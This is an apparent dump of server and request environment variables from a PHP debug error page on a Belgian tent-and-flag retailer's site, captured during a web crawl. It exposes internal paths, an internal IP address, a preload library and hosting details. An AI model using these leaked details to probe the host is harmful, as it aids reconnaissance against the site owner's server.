PATH /usr/sbin:/usr/bin:/sbin/:/bin:/opt/php-7.4/bin:/opt/php-7.4/sbin:/opt/php-7.4/usr/bin:/opt/php-7.4/usr/sbin:/opt/mysql-8.0/bin:/opt/mysql-8.0/sbin:/opt/mysql-8.0/usr/bin:/opt/mysql-8.0/usr/sbin:/opt/sqlite-3/bin
GITWEB_USER hosting-user
LD_PRELOAD /usr/local/lib/gandi/gandi-preload.so
DISTRIB jessie
USER hosting-user
SCRIPT_NAME /index.php
QUERY_STRING
REQUEST_METHOD GET
SERVER_PROTOCOL HTTP/1.1
GATEWAY_INTERFACE CGI/1.1
REDIRECT_URL /popup-aluminium-premium-tenten/
REMOTE_PORT 18342
SCRIPT_FILENAME /srv/data/web/vhosts/tentsandflags.be/htdocs/index.php
SERVER_ADMIN [no address given]
CONTEXT_DOCUMENT_ROOT /srv/data/web/vhosts/tentsandflags.be/htdocs
CONTEXT_PREFIX
REQUEST_SCHEME https
DOCUMENT_ROOT /srv/data/web/vhosts/tentsandflags.be/htdocs
REMOTE_ADDR 3.80.4.147
SERVER_PORT 443
SERVER_ADDR 172.18.71.149
SERVER_NAME tentsandflags.be
SERVER_SIGNATURE
HTTP_X_FORWARDED_FOR 3.80.4.147
HTTP_ACCEPT_ENCODING gzip
HTTP_GANDI_RP 716208
HTTP_HOST tentsandflags.be
HTTP_X_COUNTRY_CODE US
HTTP_X_FORWARDED_PROTO https
HTTP_ACCEPT_LANGUAGE en-US,en;q=0.5
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_USER_AGENT CCBot/2.0 (https://commoncrawl.org/faq/)
proxy-nokeepalive 1
HTTPS on
REDIRECT_STATUS 200
REDIRECT_HTTPS on
FCGI_ROLE RESPONDER
PHP_SELF /index.php
REQUEST_TIME_FLOAT 1702088630.2913
REQUEST_TIME 1702088630
empty
0. Whoops\Handler\PrettyPageHandler